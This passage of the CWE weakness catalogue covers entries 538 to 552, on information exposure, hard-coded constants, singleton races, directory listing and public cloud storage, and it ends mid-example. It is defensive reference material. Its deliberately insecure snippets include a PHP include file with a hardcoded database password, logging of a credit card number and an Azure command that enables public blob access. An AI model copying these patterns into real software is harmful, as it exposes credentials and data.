Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	199	Information Management Errors	2312

Applicable Platforms

Language : Not Language-Specific *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Files or Directories	

Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness = High

Potential Mitigations

Phase: Architecture and Design

Phase: Operation

Phase: System Configuration

Do not expose file and directory information to the user.

Demonstrative Examples

Example 1:

In the following code snippet, a user's full name and credit card number are written to a log file.

Example Language: Java *(Bad)*

```
logger.info("Username: " + usernme + ", CCN: " + ccn);
```

Observed Examples

Reference	Description
CVE-2018-1999036	SSH password for private key stored in build log *https://www.cve.org/CVERecord?id=CVE-2018-1999036*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	815	OWASP Top Ten 2010 Category A6 - Security Misconfiguration	809	2358
MemberOf	C	963	SFP Secondary Cluster: Exposed Data	888	2400
MemberOf	C	1345	OWASP Top Ten 2021 Category A01:2021 - Broken Access Control	1344	2487
MemberOf	C	1417	Comprehensive Categorization: Sensitive Information Exposure	1400	2548

Notes

Maintenance

Depending on usage, this could be a weakness or a category. Further study of all its children is needed, and the entire sub-tree may need to be clarified. The current organization is based primarily on the exposure of sensitive information as a consequence, instead of as a primary weakness.

Maintenance

There is a close relationship with CWE-552, which is more focused on weaknesses. As a result, it may be more appropriate to convert CWE-538 to a category.

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
95	WSDL Scanning

References

[REF-44]Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". McGraw-Hill. 2010.

CWE-539: Use of Persistent Cookies Containing Sensitive Information

Weakness ID : 539
Structure : Simple
Abstraction : Variant

Description

The web application uses persistent cookies, but the cookies contain sensitive information.

Extended Description

Cookies are small bits of data that are sent by the web application but stored locally in the browser. This lets the application use the cookie to pass information between pages and store variable information. The web application controls what information is stored in a cookie and how it is used. Typical types of information stored in cookies are session identifiers, personalization and customization information, and in rare cases even usernames to enable automated logins. There are two different types of cookies: session cookies and persistent cookies. Session cookies just live in the browser's memory and are not stored anywhere, but persistent cookies are stored on the browser's hard drive. This can cause security and privacy issues depending on the information stored in the cookie and how it is accessed.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	552	Files or Directories Accessible to External Parties	1265

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data	

Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness = High

Potential Mitigations

Phase: Architecture and Design

Do not store sensitive information in persistent cookies.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	729	OWASP Top Ten 2004 Category A8 - Insecure Storage	711	2338
MemberOf	C	963	SFP Secondary Cluster: Exposed Data	888	2400
MemberOf	C	1348	OWASP Top Ten 2021 Category A04:2021 - Insecure Design	1344	2491
MemberOf	C	1403	Comprehensive Categorization: Exposed Resource	1400	2528

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
21	Exploitation of Trusted Identifiers
31	Accessing/Intercepting/Modifying HTTP Cookies
39	Manipulating Opaque Client-based Data Tokens
59	Session Credential Falsification through Prediction
60	Reusing Session IDs (aka Session Replay)

CWE-540: Inclusion of Sensitive Information in Source Code

Weakness ID : 540
Structure : Simple
Abstraction : Base

Description

Source code on a web server or repository often contains sensitive information and should generally not be accessible to users.

Extended Description

There are situations where it is critical to remove source code from an area or server. For example, obtaining Perl source code on a system allows an attacker to understand the logic of the script and extract extremely useful information such as code bugs or logins and passwords.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	538	Insertion of Sensitive Information into Externally-Accessible File or Directory	1248
ParentOf	V	531	Inclusion of Sensitive Information in Test Code	1240
ParentOf	V	541	Inclusion of Sensitive Information in an Include File	1253
ParentOf	V	615	Inclusion of Sensitive Information in Source Code Comments	1375

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data	

Potential Mitigations

Phase: Architecture and Design

Phase: System Configuration

Recommendations include removing this script from the web server and moving it to a location not accessible from the Internet.

Demonstrative Examples

Example 1:

The following code uses an include file to store database credentials:

database.inc

Example Language: PHP *(Bad)*

```
<?php
$dbName = 'usersDB';
$dbPassword = 'skjdh#67nkjd3$3$';
?>
```

login.php

Example Language: PHP *(Bad)*

```
<?php
include('database.inc');
```

```
$db = connectToDB($dbName, $dbPassword);
$db.authenticateUser($username, $password);
?>
```

If the server does not have an explicit handler set for .inc files it may send the contents of database.inc to an attacker without pre-processing, if the attacker requests the file directly. This will expose the database name and password.

Example 2:

The following comment, embedded in a JSP, will be displayed in the resulting HTML output.

Example Language: JSP *(Bad)*

```
<!-- FIXME: calling this with more than 30 args kills the JDBC server -->
```

Observed Examples

Reference	Description
CVE-2022-25512	Server for Team Awareness Kit (TAK) application includes sensitive tokens in the JavaScript source code. *https://www.cve.org/CVERecord?id=CVE-2022-25512*
CVE-2022-24867	The LDAP password might be visible in the html code of a rendered page in an IT Asset Management tool. *https://www.cve.org/CVERecord?id=CVE-2022-24867*
CVE-2007-6197	Version numbers and internal hostnames leaked in HTML comments. *https://www.cve.org/CVERecord?id=CVE-2007-6197*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	731	OWASP Top Ten 2004 Category A10 - Insecure Configuration Management	711	2339
MemberOf	C	963	SFP Secondary Cluster: Exposed Data	888	2400
MemberOf	C	1345	OWASP Top Ten 2021 Category A01:2021 - Broken Access Control	1344	2487
MemberOf	C	1417	Comprehensive Categorization: Sensitive Information Exposure	1400	2548

CWE-541: Inclusion of Sensitive Information in an Include File

Weakness ID : 541
Structure : Simple
Abstraction : Variant

Description

If an include file source is accessible, the file can contain usernames and passwords, as well as sensitive information pertaining to the application and system.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	540	Inclusion of Sensitive Information in Source Code	1251

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data	

Potential Mitigations

Phase: Architecture and Design

Do not store sensitive information in include files.

Phase: Architecture and Design

Phase: System Configuration

Protect include files from being exposed.

Demonstrative Examples

Example 1:

The following code uses an include file to store database credentials:

database.inc

Example Language: PHP *(Bad)*

```
<?php
$dbName = 'usersDB';
$dbPassword = 'skjdh#67nkjd3$3$';
?>
```

login.php

Example Language: PHP *(Bad)*

```
<?php
include('database.inc');
$db = connectToDB($dbName, $dbPassword);
$db.authenticateUser($username, $password);
?>
```

If the server does not have an explicit handler set for .inc files it may send the contents of database.inc to an attacker without pre-processing, if the attacker requests the file directly. This will expose the database name and password.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	731	OWASP Top Ten 2004 Category A10 - Insecure Configuration Management	711	2339
MemberOf	C	963	SFP Secondary Cluster: Exposed Data	888	2400
MemberOf	C	1349	OWASP Top Ten 2021 Category A05:2021 - Security Misconfiguration	1344	2493
MemberOf	C	1417	Comprehensive Categorization: Sensitive Information Exposure	1400	2548

CWE-543: Use of Singleton Pattern Without Synchronization in a Multithreaded Context

Weakness ID : 543
Structure : Simple
Abstraction : Variant

Description

The product uses the singleton pattern when creating a resource within a multithreaded environment.

Extended Description

The use of a singleton pattern may not be thread-safe.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	Ⓑ	820	Missing Synchronization	1720

Relevant to the view "CISQ Quality Measures (2020)" (CWE-1305)

Nature	Type	ID	Name	Page
ChildOf	Ⓒ	662	Improper Synchronization	1448

Relevant to the view "CISQ Data Protection Measures" (CWE-1340)

Nature	Type	ID	Name	Page
ChildOf	Ⓒ	662	Improper Synchronization	1448

Applicable Platforms

Language : Java *(Prevalence = Undetermined)*

Language : C++ *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Other Integrity	Other Modify Application Data	

Potential Mitigations

Phase: Architecture and Design

Use the Thread-Specific Storage Pattern. See References.

Phase: Implementation

Do not use member fields to store information in the Servlet. In multithreading environments, storing user data in Servlet member fields introduces a data access race condition.

Phase: Implementation

Avoid using the double-checked locking pattern in language versions that cannot guarantee thread safety. This pattern may be used to avoid the overhead of a synchronized call, but in certain versions of Java (for example), this has been shown to be unsafe because it still introduces a race condition (CWE-209).

Effectiveness = Limited

Demonstrative Examples

Example 1:

This method is part of a singleton pattern, yet the following singleton() pattern is not thread-safe. It is possible that the method will create two objects instead of only one.

Example Language: Java *(Bad)*

```
private static NumberConverter singleton;
public static NumberConverter get_singleton() {
  if (singleton == null) {
    singleton = new NumberConverter();
  }
  return singleton;
}
```

Consider the following course of events:

- Thread A enters the method, finds singleton to be null, begins the NumberConverter constructor, and then is swapped out of execution.
- Thread B enters the method and finds that singleton remains null. This will happen if A was swapped out during the middle of the constructor, because the object reference is not set to point at the new object on the heap until the object is fully initialized.
- Thread B continues and constructs another NumberConverter object and returns it while exiting the method.
- Thread A continues, finishes constructing its NumberConverter object, and returns its version.

At this point, the threads have created and returned two different objects.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	861	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 18 - Miscellaneous (MSC)	844	2370
MemberOf	C	986	SFP Secondary Cluster: Missing Lock	888	2411
MemberOf	C	1401	Comprehensive Categorization: Concurrency	1400	2526

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
The CERT Oracle Secure Coding Standard for Java (2011)	MSC07-J		Prevent multiple instantiations of singleton objects
Software Fault Patterns	SFP19		Missing Lock

References

[REF-474]Douglas C. Schmidt, Timothy H. Harrison and Nat Pryce. "Thread-Specifc Storage for C/C++". < http://www.cs.wustl.edu/~schmidt/PDF/TSS-pattern.pdf >.

CWE-544: Missing Standardized Error Handling Mechanism

Weakness ID : 544
Structure : Simple
Abstraction : Base

Description

The product does not use a standardized method for handling errors throughout the code, which might introduce inconsistent error handling and resultant weaknesses.

Extended Description

If the product handles error messages individually, on a one-by-one basis, this is likely to result in inconsistent error handling. The causes of errors may be lost. Also, detailed information about the causes of an error may be unintentionally returned to the user.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	755	Improper Handling of Exceptional Conditions	1576

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1012	Cross Cutting	2427

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	389	Error Conditions, Return Values, Status Codes	2322

Common Consequences

Scope	Impact	Likelihood
Integrity Other	Quality Degradation Unexpected State Varies by Context	

Potential Mitigations

Phase: Architecture and Design

define a strategy for handling errors of different severities, such as fatal errors versus basic log events. Use or create built-in language features, or an external package, that provides an easy-to-use API and define coding standards for the detection and handling of errors.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	746	CERT C Secure Coding Standard (2008) Chapter 13 - Error Handling (ERR)	734	2350
MemberOf	C	880	CERT C++ Secure Coding Section 12 - Exceptions and Error Handling (ERR)	868	2379
MemberOf	C	961	SFP Secondary Cluster: Incorrect Exception Behavior	888	2399
MemberOf	C	1405	Comprehensive Categorization: Improper Check or Handling of Exceptional Conditions	1400	2531

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CERT C Secure Coding	ERR00-C		Adopt and implement a consistent and comprehensive error-handling policy

CWE-546: Suspicious Comment

Weakness ID : 546
Structure : Simple
Abstraction : Variant

Description

The code contains comments that suggest the presence of bugs, incomplete functionality, or weaknesses.

Extended Description

Many suspicious comments, such as BUG, HACK, FIXME, LATER, LATER2, TODO, in the code indicate missing security functionality and checking. Others indicate code problems that programmers should fix, such as hard-coded variables, error handling, not using stored procedures, and performance issues.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	1078	Inappropriate Source Code Style or Formatting	1918
PeerOf	V	615	Inclusion of Sensitive Information in Source Code Comments	1375

Weakness Ordinalities

Indirect :

Applicable Platforms

Language : Not Language-Specific *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Other	Quality Degradation *Suspicious comments could be an indication that there are problems in the source code that may need to be fixed and is an indication of poor quality. This could lead to further bugs and the introduction of weaknesses.*	

Potential Mitigations

Phase: Documentation

Remove comments that suggest the presence of bugs, incomplete functionality, or weaknesses, before deploying the application.

Demonstrative Examples

Example 1:

The following excerpt demonstrates the use of a suspicious comment in an incomplete code block that may have security repercussions.

Example Language: Java *(Bad)*

```
if (user == null) {
  // TODO: Handle null user condition.
}
```

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	V	884	CWE Cross-section	884	2567
MemberOf	C	963	SFP Secondary Cluster: Exposed Data	888	2400
MemberOf	C	1412	Comprehensive Categorization: Poor Coding Practices	1400	2538

CWE-547: Use of Hard-coded, Security-relevant Constants

Weakness ID : 547
Structure : Simple
Abstraction : Base

Description

The product uses hard-coded constants instead of symbolic names for security-critical values, which increases the likelihood of mistakes during code maintenance or security policy change.

Extended Description

If the developer does not find all occurrences of the hard-coded constants, an incorrect policy decision may be made if one of the constants is not changed. Making changes to these values will require code changes that may be difficult or impossible once the system is released to the field. In addition, these hard-coded values may become available to attackers if the code is ever disclosed.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	●	1078	Inappropriate Source Code Style or Formatting	1918

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1006	Bad Coding Practices	2422

Weakness Ordinalities

Indirect :

Common Consequences

Scope	Impact	Likelihood
Other	Varies by Context Quality Degradation	

Scope	Impact	Likelihood
	The existence of hardcoded constants could cause unexpected behavior and the introduction of weaknesses during code maintenance or when making changes to the code if all occurrences are not modified. The use of hardcoded constants is an indication of poor quality.	

Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness = High

Potential Mitigations

Phase: Implementation

Avoid using hard-coded constants. Configuration files offer a more flexible solution.

Demonstrative Examples

Example 1:

The usage of symbolic names instead of hard-coded constants is preferred.

The following is an example of using a hard-coded constant instead of a symbolic name.

Example Language: C *(Bad)*

```
char buffer[1024];
...
fgets(buffer, 1024, stdin);
```

If the buffer value needs to be changed, then it has to be altered in more than one place. If the developer forgets or does not find all occurrences, in this example it could lead to a buffer overflow.

Example Language: C *(Good)*

```
enum { MAX_BUFFER_SIZE = 1024 };
...
char buffer[MAX_BUFFER_SIZE];
...
fgets(buffer, MAX_BUFFER_SIZE, stdin);
```

In this example the developer will only need to change one value and all references to the buffer size are updated, as a symbolic name is used instead of a hard-coded constant.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	736	CERT C Secure Coding Standard (2008) Chapter 3 - Declarations and Initialization (DCL)	734	2341
MemberOf	V	884	CWE Cross-section	884	2567
MemberOf	C	950	SFP Secondary Cluster: Hardcoded Sensitive Data	888	2396

Nature	Type	ID	Name	V	Page
MemberOf	C	1349	OWASP Top Ten 2021 Category A05:2021 - Security Misconfiguration	1344	2493
MemberOf	C	1412	Comprehensive Categorization: Poor Coding Practices	1400	2538

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CERT C Secure Coding	DCL06-C		Use meaningful symbolic constants to represent literal values in program logic

CWE-548: Exposure of Information Through Directory Listing

Weakness ID : 548
Structure : Simple
Abstraction : Variant

Description

A directory listing is inappropriately exposed, yielding potentially sensitive information to attackers.

Extended Description

A directory listing provides an attacker with the complete index of all the resources located inside of the directory. The specific risks and consequences vary depending on which files are listed and accessible.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	497	Exposure of Sensitive System Information to an Unauthorized Control Sphere	1193

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Files or Directories *Exposing the contents of a directory can lead to an attacker gaining access to source code or providing useful information for the attacker to devise exploits, such as creation times of files or any information that may be encoded in file names. The directory listing may also compromise private or confidential data.*	

Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness = High

Potential Mitigations

Phase: Architecture and Design

Phase: System Configuration

Recommendations include restricting access to important directories or files by adopting a need to know requirement for both the document and server root, and turning off features such as Automatic Directory Listings that could expose private files and provide information that could be utilized by an attacker when formulating or conducting an attack.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	731	OWASP Top Ten 2004 Category A10 - Insecure Configuration Management	711	2339
MemberOf	C	933	OWASP Top Ten 2013 Category A5 - Security Misconfiguration	928	2391
MemberOf	C	963	SFP Secondary Cluster: Exposed Data	888	2400
MemberOf	C	1032	OWASP Top Ten 2017 Category A6 - Security Misconfiguration	1026	2438
MemberOf	C	1345	OWASP Top Ten 2021 Category A01:2021 - Broken Access Control	1344	2487
MemberOf	C	1417	Comprehensive Categorization: Sensitive Information Exposure	1400	2548

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
OWASP Top Ten 2004	A10	CWE More Specific	Insecure Configuration Management
WASC	16		Directory Indexing

CWE-549: Missing Password Field Masking

Weakness ID : 549
Structure : Simple
Abstraction : Base

Description

The product does not mask passwords during entry, increasing the potential for attackers to observe and capture passwords.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	●	522	Insufficiently Protected Credentials	1225

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	255	Credentials Management Errors	2315

Nature	Type	ID	Name	Page
MemberOf	C	355	User Interface Security Issues	2320

Common Consequences

Scope	Impact	Likelihood
Access Control	Bypass Protection Mechanism	

Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness = High

Potential Mitigations

Phase: Implementation

Phase: Requirements

Recommendations include requiring all password fields in your web application be masked to prevent other users from seeing this information.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	995	SFP Secondary Cluster: Feature	888	2418
MemberOf	C	1396	Comprehensive Categorization: Access Control	1400	2519

References

[REF-44]Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". McGraw-Hill. 2010.

CWE-550: Server-generated Error Message Containing Sensitive Information

Weakness ID : 550
Structure : Simple
Abstraction : Variant

Description

Certain conditions, such as network failure, will cause a server error message to be displayed.

Extended Description

While error messages in and of themselves are not dangerous, per se, it is what an attacker can glean from them that might cause eventual problems.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to

similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	209	Generation of Error Message Containing Sensitive Information	533

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1016	Limit Exposure	2431

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data	

Potential Mitigations

Phase: Architecture and Design

Phase: System Configuration

Recommendations include designing and adding consistent error handling mechanisms which are capable of handling any user input to your web application, providing meaningful detail to end-users, and preventing error messages that might provide information useful to an attacker from being displayed.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	963	SFP Secondary Cluster: Exposed Data	888	2400
MemberOf	C	1417	Comprehensive Categorization: Sensitive Information Exposure	1400	2548

CWE-551: Incorrect Behavior Order: Authorization Before Parsing and Canonicalization

Weakness ID : 551
Structure : Simple
Abstraction : Base

Description

If a web server does not fully parse requested URLs before it examines them for authorization, it may be possible for an attacker to bypass authorization protection.

Extended Description

For instance, the character strings /./ and / both mean current directory. If /SomeDirectory is a protected directory and an attacker requests /./SomeDirectory, the attacker may be able to gain access to the resource if /./ is not converted to / before the authorization check is performed.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to

similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	Ⓒ	696	Incorrect Behavior Order	1527
ChildOf	Ⓒ	863	Incorrect Authorization	1787

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1011	Authorize Actors	2425

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1212	Authorization Errors	2476
MemberOf	C	438	Behavioral Problems	2326

Common Consequences

Scope	Impact	Likelihood
Access Control	Bypass Protection Mechanism	

Potential Mitigations

Phase: Architecture and Design

URL Inputs should be decoded and canonicalized to the application's current internal representation before being validated and processed for authorization. Make sure that your application does not decode the same input twice. Such errors could be used to bypass allowlist schemes by introducing dangerous inputs after they have been checked.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	723	OWASP Top Ten 2004 Category A2 - Broken Access Control	711	2335
MemberOf	C	949	SFP Secondary Cluster: Faulty Endpoint Authentication	888	2395
MemberOf	C	1396	Comprehensive Categorization: Access Control	1400	2519

CWE-552: Files or Directories Accessible to External Parties

Weakness ID : 552
Structure : Simple
Abstraction : Base

Description

The product makes files or directories accessible to unauthorized actors, even though they should not be.

Extended Description

Web servers, FTP servers, and similar servers may store a set of files underneath a "root" directory that is accessible to the server's users. Applications may store sensitive files underneath this root without also using access control to limit which users may request those files, if any. Alternately, an application might package multiple files or directories into an archive file (e.g., ZIP or tar), but the application might not exclude sensitive files that are underneath those directories.

In cloud technologies and containers, this weakness might present itself in the form of misconfigured storage accounts that can be read or written by a public or anonymous user.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	285	Improper Authorization	684
ChildOf	C	668	Exposure of Resource to Wrong Sphere	1469
ParentOf	V	219	Storage of File with Sensitive Data Under Web Root	553
ParentOf	V	220	Storage of File With Sensitive Data Under FTP Root	555
ParentOf	V	527	Exposure of Version-Control Repository to an Unauthorized Control Sphere	1236
ParentOf	V	528	Exposure of Core Dump File to an Unauthorized Control Sphere	1237
ParentOf	V	529	Exposure of Access Control List Files to an Unauthorized Control Sphere	1238
ParentOf	V	530	Exposure of Backup File to an Unauthorized Control Sphere	1239
ParentOf	V	539	Use of Persistent Cookies Containing Sensitive Information	1250
ParentOf	V	553	Command Shell in Externally Accessible Directory	1269

Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)

Nature	Type	ID	Name	Page
ChildOf	C	668	Exposure of Resource to Wrong Sphere	1469

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1011	Authorize Actors	2425

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1212	Authorization Errors	2476

Applicable Platforms

Language : Not Language-Specific *(Prevalence = Undetermined)*

Technology : Not Technology-Specific *(Prevalence = Undetermined)*

Technology : Cloud Computing *(Prevalence = Often)*

Common Consequences

Scope	Impact	Likelihood
Confidentiality Integrity	Read Files or Directories Modify Files or Directories	

Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness = High

Potential Mitigations

Phase: Implementation

Phase: System Configuration

Phase: Operation

When storing data in the cloud (e.g., S3 buckets, Azure blobs, Google Cloud Storage, etc.), use the provider's controls to disable public access.

Demonstrative Examples

Example 1:

The following Azure command updates the settings for a storage account:

Example Language: Shell *(Bad)*

```
az storage account update --name <storage-account> --resource-group <resource-group> --allow-blob-public-access true
```

However, "Allow Blob Public Access" is set to true, meaning that anonymous/public users can access blobs.

The command could be modified to disable "Allow Blob Public Access" by setting it to false.

Example Language: Shell *(Good)*

```
az storage account update --name <storage-account> --resource-group <resource-group> --allow-blob-public-access false
```

Example 2:

The following Google Cloud Storage command gets the settings for a storage account named 'BUCKET_NAME':

Example Language: Shell *(Informative)*

```
gsutil iam get gs://BUCKET_NAME
```

Suppose the command returns the following result:

Example Language: JSON *(Bad)*

```
{
  "bindings":[{
    "members":[
      "projectEditor: PROJECT-ID",
      "projectOwner: PROJECT-ID"
    ],
    "role":"roles/storage.legacyBucketOwner"
